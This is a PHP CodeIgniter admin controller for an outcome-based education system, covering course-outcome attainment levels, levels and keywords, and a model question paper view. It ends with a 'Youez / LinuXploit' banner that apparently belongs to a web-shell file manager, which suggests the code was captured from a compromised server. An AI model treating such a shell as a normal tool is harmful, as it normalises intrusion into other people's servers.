                        'ocoalp_percentage_to' => addslashes(trim($this->input->post("per_to"))),
                        "ocoalp_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoalp_added_on" => date("Y-m-d H:i:s"),
                        "ocoalp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoalp_updated_on" => date("Y-m-d H:i:s"),
                        'ocoalp_DI_flag' => addslashes(trim($this->input->post("ocoalp_DI_flag")))
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->createCOAttainmentLevelPercentage($array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Attainment Level Percentage Created Successful.");
                        redirect("admin/OBESConfig/coAttainmentLevelPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome Attainment Level Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function coAttainmentLevelPercentages() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["coAttainmentLevelPercentages"] = $this->OBESManagement->getAllCOAttainmentLevelPercentages()->result();
            $this->load->view("admin/obes/coAttainmentLevelPercentages", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentLevelPercentageDeleteStatus($osetp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoalp_updated_on' => date("Y-m-d H:i:s"),
                'ocoalp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoalp_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentLevelPercentage($osetp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Attainment Level Percentage Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentLevelPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Attainment Level Percentage Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentLevelPercentageStatus($osetp_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoalp_updated_on' => date("Y-m-d H:i:s"),
                'ocoalp_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoalp_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentLevelPercentage($osetp_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Attainment Level Percentage Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentLevelPercentages");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Attainment Level Percentage Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOAttainmentLevelPercentage($ocoalp_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["coAttainmentLevelPercentage"] = $this->OBESManagement->getCOAttainmentLevelPercentagesBy($ocoalp_id)->result()[0];
            $this->load->view("admin/obes/editCOAttainmentLevelPercentage", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOAttainmentLevelPercentage() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ocoalp_id = trim($this->input->post("ocoalp_id"));
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("level_name", "CO Attainment Level Name", "trim|required", array("required" => "Enter CO Attainment Level Name."));
            $this->form_validation->set_rules("level_value", "CO Attainment Level Value", "trim|required", array("required" => "Enter CO Attainment Level Value."));
            $this->form_validation->set_rules("per_from", "CO Attainment Level From", "trim|required", array("required" => "Enter CO Attainment Level Percentage (From) ."));
            $this->form_validation->set_rules("per_to", "CO Attainment Level To", "trim|required", array("required" => "Enter CO Attainment Level Percentage (To) ."));
            if ($this->form_validation->run() == false) {
                $this->editCOAttainmentLevelPercentage($ocoalp_id);
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentLevelPercentageBy($ocoalp_id, trim($this->input->post("sm_name")), trim($this->input->post("session")), addslashes(trim($this->input->post("level_name"))), addslashes(trim($this->input->post("level_value"))), trim($this->input->post("ocoalp_DI_flag")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/editCOAttainmentLevelPercentage/$ocoalp_id");
                } else {
                    $array = array(
                        "sm_id" => trim($this->input->post("sm_name")),
                        "session_id" => $this->input->post("session"),
                        'ocoalp_level_value' => addslashes(trim($this->input->post("level_value"))),
                        'ocoalp_level_name' => addslashes(trim($this->input->post("level_name"))),
                        'ocoalp_percentage_from' => addslashes(trim($this->input->post("per_from"))),
                        'ocoalp_percentage_to' => addslashes(trim($this->input->post("per_to"))),
                        "ocoalp_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoalp_updated_on" => date("Y-m-d H:i:s"),
                        'ocoalp_DI_flag' => addslashes(trim($this->input->post("ocoalp_DI_flag")))
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateCOAttainmentLevelPercentage($ocoalp_id, $array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Attainment Level Percentage Updated Successful.");
                        redirect("admin/OBESConfig/coAttainmentLevelPercentages");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome Attainment Level Percentage. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* CO Attainment Level Subjetc Wise (Internal/External) */

    public function createCOAttainmentLevelPercentageIntExt() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/createCOAttainmentLevelPercentageIntExt", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveCOAttainmentLevelPercentageIntExt() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("perIn", "CO Attainment Level Internal Percentage", "trim|required", array("required" => "Enter CO Attainment Level Internal Percentage."));
            $this->form_validation->set_rules("perEx", "CO Attainment Level External Percentage", "trim|required", array("required" => "Enter CO Attainment Level External Percentage."));
            if ($this->form_validation->run() == false) {
                $this->createCOAttainmentLevelPercentageIntExt();
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentLevelPercentageIntExtBy('', trim($this->input->post("sm_name")), trim($this->input->post("session")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/createCOAttainmentLevelPercentageIntExt");
                } else {
                    $array = array(
                        array(
                            "sm_id" => trim($this->input->post("sm_name")),
                            "session_id" => $this->input->post("session"),
                            'ocoalpie_percentage' => addslashes(trim($this->input->post("perIn"))),
                            "ocoalpie_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocoalpie_added_on" => date("Y-m-d H:i:s"),
                            "ocoalpie_updated_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocoalpie_updated_on" => date("Y-m-d H:i:s"),
                            'ocoalpie_IE_flag' => "I"
                        ),
                        array(
                            "sm_id" => trim($this->input->post("sm_name")),
                            "session_id" => $this->input->post("session"),
                            'ocoalpie_percentage' => addslashes(trim($this->input->post("perEx"))),
                            "ocoalpie_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocoalpie_added_on" => date("Y-m-d H:i:s"),
                            "ocoalpie_updated_by" => $this->session->userdata("adminData")["smember_id"],
                            "ocoalpie_updated_on" => date("Y-m-d H:i:s"),
                            'ocoalpie_IE_flag' => "E"
                        ),
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->createCOAttainmentLevelPercentageIntExt($array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Attainment Level Percentage For Internal & External Attainment Created Successful.");
                        redirect("admin/OBESConfig/coAttainmentLevelPercentagesIntExt");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Course Outcome Attainment Level Percentage For Internal & External Attainment. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function coAttainmentLevelPercentagesIntExt() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["coAttainmentLevelPercentagesIntExt"] = $this->OBESManagement->getAllCOAttainmentLevelPercentagesIntExt()->result();
            $this->load->view("admin/obes/coAttainmentLevelPercentagesIntExt", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentLevelPercentageIntExtDeleteStatus($ocoalpie_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoalpie_updated_on' => date("Y-m-d H:i:s"),
                'ocoalpie_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoalpie_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentLevelPercentageIntExt($ocoalpie_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Attainment Level Percentage For Internal External Attainment Report For Internal & External Attainment Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentLevelPercentagesIntExt");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Attainment Level Percentage For Internal & External Attainment Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCOAttainmentLevelPercentageIntExtStatus($ocoalpie_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'ocoalpie_updated_on' => date("Y-m-d H:i:s"),
                'ocoalpie_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'ocoalpie_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCOAttainmentLevelPercentageIntExt($ocoalpie_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Course Outcome Attainment Level Percentage For Internal & External Attainment Status Updated Successfully.');
                redirect("admin/OBESConfig/coAttainmentLevelPercentagesIntExt");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Outcome Attainment Level Percentage For Internal & External Attainment Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCOAttainmentLevelPercentageIntExt($ocoalpie_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["coAttainmentLevelPercentage"] = $this->OBESManagement->getCOAttainmentLevelPercentagesByIntExt($ocoalpie_id)->result()[0];
            $this->load->view("admin/obes/editCOAttainmentLevelPercentageIntExt", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCOAttainmentLevelPercentageIntExt() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $ocoalpie_id = trim($this->input->post("ocoalpie_id"));
            $this->form_validation->set_rules("session", "Session", "trim|required", array("required" => "Select Session."));
            $this->form_validation->set_rules("sm_name", "Subject Name", "trim|required", array("required" => "Select Subject Name."));
            $this->form_validation->set_rules("per", "CO Attainment Level Percentage", "trim|required", array("required" => "Enter CO Attainment Level Percentage."));

            if ($this->form_validation->run() == false) {
                $this->editCOAttainmentLevelPercentageIntExt($ocoalpie_id);
            } else {
                if (sizeof($this->OBESManagement->getCOAttainmentLevelPercentageIntExtBy($ocoalpie_id, trim($this->input->post("sm_name")), trim($this->input->post("session")), trim($this->input->post("ocoalpie_IE_flag")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist. Try Again.");
                    redirect("admin/OBESConfig/editCOAttainmentLevelPercentageIntExt/$ocoalpie_id");
                } else {
                    $array = array(
                        "sm_id" => trim($this->input->post("sm_name")),
                        "session_id" => $this->input->post("session"),
                        'ocoalpie_percentage' => addslashes(trim($this->input->post("per"))),
                        "ocoalpie_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "ocoalpie_updated_on" => date("Y-m-d H:i:s"),
                        'ocoalpie_IE_flag' => addslashes(trim($this->input->post("ocoalpie_IE_flag")))
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateCOAttainmentLevelPercentageIntExt($ocoalpie_id, $array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Course Outcome Attainment Level Percentage For Internal & External Attainment Updated Successful.");
                        redirect("admin/OBESConfig/coAttainmentLevelPercentagesIntExt");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Course Outcome Attainment Level Percentage For Internal & External Attainment. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

        /* 01/06/2021 developer 1 code */
    
    public function createLevelsAndKeywords() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view("admin/obes/createLevelsAndKeywords");
        } else {
            redirect("admin/");
        }
    }



    public function saveLevelsAndKeywords() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("level_abbre", "Level Abbreviation", "trim|required", array("required" => "Enter Level Abbreviation."));
            $this->form_validation->set_rules("level_name", "Level Name", "trim|required", array("required" => "Enter Level Name."));
            $this->form_validation->set_rules("keywords", "Keywords", "trim|required", array("required" => "Enter Keywords."));
            if ($this->form_validation->run() == false) {
                $this->createLevelsAndKeywords();
            } else {
                if (sizeof($this->OBESManagement->getLevelsAndKeywordsBy('', trim($this->input->post("level_abbre")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist With Given Level Abbreviation. Try Again.");
                    redirect("admin/OBESConfig/createLevelsAndKeywords");
                } else if (sizeof($this->OBESManagement->getLevelsAndKeywordsBy('', '', trim($this->input->post("level_name")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist With Given Level Name. Try Again.");
                    redirect("admin/OBESConfig/createLevelsAndKeywords");
                } else {
                    $array = array(
                        "olk_level_name" => addslashes(trim($this->input->post("level_name"))),
                        "olk_level_abbreviation" => addslashes(trim($this->input->post("level_abbre"))),
                        'olk_keywords' => addslashes(trim($this->input->post("keywords"))),
                        "olk_added_by" => $this->session->userdata("adminData")["smember_id"],
                        "olk_added_on" => date("Y-m-d H:i:s"),
                        "olk_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "olk_updated_on" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->createLevelsAndKeywords($array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Levels_& Keywords Created Successful.");
                        redirect("admin/OBESConfig/levelsAndKeywords");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Levels_& Keywords. Try Later.");
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function levelsAndKeywords() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["levelsAndKeywords"] = $this->OBESManagement->getLevelsAndKeywords()->result();
            $this->load->view("admin/obes/levelsAndKeywords", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function togglelevelsAndKeywordsDeleteStatus($olk_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'olk_updated_on' => date("Y-m-d H:i:s"),
                'olk_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'olk_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateLevelsAndKeywordst($olk_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Levels And Keywords Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/levelsAndKeywords");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Levels And Keywords Delete Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function togglelevelsAndKeywordsStatus($olk_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $array = array(
                'olk_updated_on' => date("Y-m-d H:i:s"),
                'olk_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'olk_active_status' => $changeStatus
            );
            if ($this->OBESManagement->updateLevelsAndKeywordst($olk_id, $array)) {
                $this->session->set_flashdata('successMessage', 'Levels And Keywords Status Updated Successfully.');
                redirect("admin/OBESConfig/levelsAndKeywords");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Levels And Keywords Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function editLevelsAndKeywords($olk_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["levelAndKeywords"] = $this->OBESManagement->getLevelsAndKeywordsByID($olk_id)->result()[0];
            $this->load->view("admin/obes/editLevelsAndKeywords", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateLevelsAndKeywords() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("level_abbre", "Level Abbreviation", "trim|required", array("required" => "Enter Level Abbreviation."));
            $this->form_validation->set_rules("level_name", "Level Name", "trim|required", array("required" => "Enter Level Name."));
            $this->form_validation->set_rules("keywords", "Keywords", "trim|required", array("required" => "Enter Keywords."));
            $olk_id = $this->input->post("olk_id");
            if ($this->form_validation->run() == false) {
                $this->editLevelsAndKeywords($olk_id);
            } else {
                if (sizeof($this->OBESManagement->getLevelsAndKeywordsBy($olk_id, trim($this->input->post("level_abbre")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist With Given Level Abbreviation. Try Again.");
                    redirect("admin/OBESConfig/editLevelsAndKeywords/$olk_id");
                } else if (sizeof($this->OBESManagement->getLevelsAndKeywordsBy($olk_id, '', trim($this->input->post("level_name")))->result())) {
                    $this->session->set_flashdata("errorMessage", "Data Already Exist With Given Level Name. Try Again.");
                    redirect("admin/OBESConfig/editLevelsAndKeywords/$olk_id");
                } else {
                    $array = array(
                        "olk_level_name" => addslashes(trim($this->input->post("level_name"))),
                        "olk_level_abbreviation" => addslashes(trim($this->input->post("level_abbre"))),
                        'olk_keywords' => addslashes(trim($this->input->post("keywords"))),
                        "olk_updated_by" => $this->session->userdata("adminData")["smember_id"],
                        "olk_updated_on" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    if ($this->OBESManagement->updateLevelsAndKeywordst($olk_id, $array)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata("successMessage", "Levels_& Keywords Updated Successful.");
                        redirect("admin/OBESConfig/levelsAndKeywords");
                    } else {
                        $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Levels_& Keywords. Try Later.");
                        redirect("admin/OBESConfig/editLevelsAndKeywords/") . $olk_id;
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getModelQuestionPaper() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            if (isset($_POST["filterAttendanceBtn"])) {
                $viewData["selectedSession"] = $this->input->post("session");
                $viewData["selectedCourse"] = $this->input->post("subjectCourse");
                $viewData["selectedSubject"] = $this->input->post("sm_name");
                $viewData["selectedAssessment"] = $this->input->post("test_name");
                $questions = $this->OBESManagement->getModelQuestionPaper($this->input->post("subjectCourse"), $this->input->post("sm_name"), $this->input->post("test_name"))->result();
                $modelQuestions = array();
                for ($q = 0; $q < sizeof($questions); $q++) {

                    $coMappedToQuestion = $this->OBESManagement->getCOMappedToQuestion($questions[$q]->qno_id)->result();
                    $coArray = array();
                    $poArray = array();
                    for ($c = 0; $c < sizeof($coMappedToQuestion); $c++) {
                        
                        $poMappedToCo = $this->OBESManagement->getPOMappedToCO($coMappedToQuestion[$c]->co_id)->result();
                        for ($p = 0; $p < sizeof($poMappedToCo); $p++) {
                            array_push($poArray, $poMappedToCo[$p]->po_name);
                        }
                        array_push($coArray, $coMappedToQuestion[$c]->co_name);
                    }
                    array_push($modelQuestions, array(
                        'qno_name' => $questions[$q]->qno_name,
                        'qno_desc' => $questions[$q]->qno_desc,
                        'qno_marks' => $questions[$q]->qno_marks,
                        'co' => implode(", ",$coArray),
                        'po' => implode(", ",$poArray),
                        'qno_level' => $questions[$q]->olk_level_abbreviation,
                        'qno_file' => $questions[$q]->qno_file,
                    ));
                }

                $viewData["modelQuestionPaper"] = $modelQuestions;
                $viewData["selectedSubjectDetails"] = $this->SubjectManagement->getSubjectInfoBy($this->input->post("sm_name"))->result()[0];
                $viewData["testDetails"] = $this->OBESManagement->getTestById($this->input->post("test_name"))->result()[0];
                $viewData["coQuestionSummary"] = $this->OBESManagement->getModelQuestionPaperAndCOSummaryInJSON($this->input->post("test_name"));
                $viewData["levelWiseMarksDistributionSummary"] = $this->OBESManagement->getLevelWiseMarksDistributionSummaryInJSON($this->input->post("test_name"));
            } else {
                $viewData["selectedSession"] = "";
                $viewData["selectedCourse"] = "";
                $viewData["selectedSubject"] = "";
                $viewData["selectedAssessment"] = "";
                $viewData["modelQuestionPaper"] = array();
                $viewData["selectedSubjectDetails"] = array();
                $viewData["testDetails"] = array();
                $viewData["coQuestionSummary"] = null;
                $viewData["levelWiseMarksDistributionSummary"] = null;
            }
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $this->load->view("admin/obes/modelQuestionPaper", $viewData);
        } else {
            redirect("admin/");
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit